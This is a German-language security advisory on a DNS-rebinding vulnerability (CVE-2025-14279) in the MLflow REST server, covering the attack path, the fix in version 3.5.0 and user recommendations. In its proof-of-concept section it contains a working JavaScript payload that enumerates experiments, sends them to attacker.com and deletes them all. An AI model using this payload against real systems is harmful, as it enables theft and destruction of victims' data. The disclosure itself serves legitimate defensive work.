Autor: Evan Harris
Risiko: Hoch (CVSS 8.1, CVE-2025-14279)
Betroffene Komponente: MLflow-REST-Server (mlflow/mlflow), Versionen bis einschließlich 3.4.0

Kurzfassung

Der MLflow-REST-Server validierte den Origin- und den Host-Header eingehender Anfragen nicht und war dadurch für DNS-Rebinding anfällig. Ein Opfer, das mlflow server lokal ausführt und anschließend eine bösartige Website besucht, kann seinen Browser in einen Proxy verwandeln lassen, der die Loopback-Schnittstelle erreicht und dabei die Same-Origin-Policy umgeht. Da die REST-API über keine Authentifizierung verfügt, erhält der Angreifer vollständigen Lese- und Schreibzugriff: Er kann Experimente aufzählen, die Daten an einen externen Host exfiltrieren und Experimente vollständig löschen. Das Problem wurde als CVE-2025-14279 (CVSS 8.1, Hoch) eingestuft und in MLflow 3.5.0 behoben, das eine Host-Header-Validierung und die Blockierung von Cross-Origin-Anfragen hinzufügt. Nutzer sollten auf 3.5.0 oder höher aktualisieren.

Andere auf dieser Website behandelte Werkzeuge scheitern auf dieselbe Weise: DNS-Rebinding-Schwachstelle im SSE-Transport des Vet MCP Servers und Neo4j MCP Cypher Server durch DNS-Rebinding anfällig für Datenbankübernahme. Ein separates Problem in MLflow, das am selben Tag offengelegt wurde, wird in Remote Code Execution durch Deserialisierung von GenAI-Scorern in MLflow behandelt.

Hintergrund

Der Tracking-Server von MLflow stellt eine REST-API bereit (üblicherweise unter http://localhost:5000), die von der Web-Oberfläche und den Client-Bibliotheken zum Erstellen, Durchsuchen, Aktualisieren und Löschen von Experimenten und Läufen verwendet wird. Standardmäßig läuft der Server ohne Authentifizierung, in der Annahme, dass die Bindung an localhost ihn privat hält.

Diese Annahme bricht unter DNS-Rebinding zusammen. Die Same-Origin-Policy des Browsers soll verhindern, dass eine von attacker.com ausgelieferte Seite Antworten von localhost:5000 liest, doch Rebinding umgeht sie, indem es ändert, worauf ein Hostname aufgelöst wird, nachdem die Seite geladen wurde. Da der MLflow-Server Anfragen ohne Prüfung ihrer Herkunft akzeptierte, konnte jede vom Opfer besuchte Website die lokale API steuern.

Überblick

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000] B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL] C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface] D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request] E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"] F --> G[Exfiltrate experiment data
to attacker.com] F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"] style A fill:#fff3e0 style B fill:#ffebee style C fill:#ffebee style D fill:#ffebee style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#ffcdd2 style H fill:#ffcdd2

Angriffsszenario

  1. Das Opfer klont MLflow und führt den Server lokal mit der Standardkonfiguration aus (mlflow server) und erzeugt dabei einige Experimente.
  2. Der Angreifer richtet ein DNS-Rebinding-Labor ein, zum Beispiel Singularity of Origin der NCC Group, und legt die untenstehende Payload im Payload-Verzeichnis des Frameworks ab.
  3. Das Opfer besucht die Website des Angreifers und bleibt lange genug auf der Seite (unter einer Minute), damit das Rebinding stattfinden kann.
  4. Der DNS-Server des Angreifers löst den Hostnamen zunächst auf seine eigene IP auf, damit die Payload geladen wird, und beantwortet spätere Anfragen dann mit 127.0.0.1. Der Browser verwendet den zwischengespeicherten Namen wieder, sodass die fetch-Aufrufe der Seite unbemerkt auf localhost:5000 umschwenken, während der ursprüngliche Origin erhalten bleibt.
  5. Da der MLflow-Server keine Origin- oder Host-Validierung durchführt, sind die Anfragen erfolgreich. Der Angreifer zählt die Experimente auf, schickt die Daten an attacker.com und löscht die Experimente.

Proof of Concept

Die untenstehende Payload registriert sich bei einem DNS-Rebinding-Framework. Sie identifiziert das Ziel als MLflow-Server, zählt Experimente über die nicht authentifizierte REST-API auf, exfiltriert die Ergebnisse an einen vom Angreifer kontrollierten Host und löscht anschließend jedes Experiment. Der ursprüngliche Proof of Concept ist hier auf seine funktionalen Schritte verdichtet.

const MlFlow = () => {
    let attackExecuted = false;

    async function attack() {
        if (attackExecuted) return;
        const base = `http://${window.location.hostname}:5000`;

        // Read access: enumerate experiments via the unauthenticated REST API
        const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
        });
        const { experiments } = await searchResponse.json();
        if (!experiments?.length) { attackExecuted = true; return; }

        // Exfiltrate the experiment data to the attacker
        fetch('https://attacker.com/messages', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ experimentData: experiments }),
        });

        // Write access: delete every experiment
        for (const experiment of experiments) {
            await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ experiment_id: experiment.experiment_id }),
            });
            await new Promise(r => setTimeout(r, 500));
        }
        attackExecuted = true;
    }

    // Fingerprint the rebound target as an MLflow server before attacking
    async function isService() {
        const response = await fetch(`http://${window.location.hostname}:5000`);
        const body = await response.text();
        return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
    }

    return { attack, isService };
};

// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();

Auswirkung

  • Datenexfiltration: Experiment-Metadaten werden über experiments/search gelesen und an einen vom Angreifer kontrollierten Host geschickt.
  • Datenvernichtung: Experimente werden über experiments/delete gelöscht.
  • Datenmanipulation: Derselbe nicht authentifizierte Schreibzugriff erlaubt auch Aktualisierungsoperationen an Experimenten.
  • Keine Anmeldedaten erforderlich: Der Angriff funktioniert gegen eine Standardbereitstellung von mlflow server und erfordert lediglich, dass das Opfer eine bösartige Seite besucht, während der Server läuft.

Reaktion von MLflow

Nachdem wir das Problem über den koordinierten Offenlegungsprozess von MLflow gemeldet hatten, behoben die Maintainer es in Pull Request #17910.

Der Fix führt eine Sicherheits-Middleware-Schicht für den Server ein, die:

  • Den Host-Header gegen eine Positivliste (standardmäßig localhost und private IP-Bereiche) validiert, um DNS-Rebinding zu blockieren.
  • Zustandsändernde Cross-Origin-Anfragen (POST, PUT, DELETE, PATCH) von Nicht-localhost-Origins blockiert.
  • Defensive Antwort-Header hinzufügt (X-Frame-Options: SAMEORIGIN, X-Content-Type-Options: nosniff).

Für Bereitstellungen, die legitim einen breiteren Zugriff benötigen, steht neue Konfiguration zur Verfügung, darunter --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) und --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Die Schutzmaßnahmen wurden in MLflow 3.5.0 ausgeliefert, und dem Problem wurde später CVE-2025-14279 zugewiesen (CVSS 8.1, Hoch; CWE-346, Origin Validation Error).

Empfehlungen

Für Endnutzer

  • Aktualisieren Sie auf MLflow 3.5.0 oder höher.
  • Behalten Sie die Standardeinstellungen für --allowed-hosts und --cors-allowed-origins bei, sofern Sie keinen konkreten Grund haben, sie zu erweitern, und deaktivieren Sie die Sicherheits-Middleware niemals auf einem exponierten Server.
  • Binden Sie den MLflow-Server nicht an ein öffentliches oder nicht vertrauenswürdiges Netzwerk, und setzen Sie eine Authentifizierung oder einen Reverse-Proxy davor, falls er über localhost hinaus erreichbar sein muss.
  • Behandeln Sie einen lokal gebundenen Server als vom Browser erreichbar: Schließen oder isolieren Sie lokale MLflow-Instanzen, wenn Sie nicht vertrauenswürdige Websites besuchen.

Zeitleiste

Datum Ereignis
22. September 2025 Schwachstelle über koordinierte Offenlegung an die MLflow-Maintainer gemeldet (Issue #17877)
6. Oktober 2025 MLflow führt den Fix zusammen (PR #17910), veröffentlicht in v3.5.0
12. Januar 2026 CVE-2025-14279 veröffentlicht (CVSS 8.1, Hoch)
8. Juni 2026 Öffentliche Offenlegung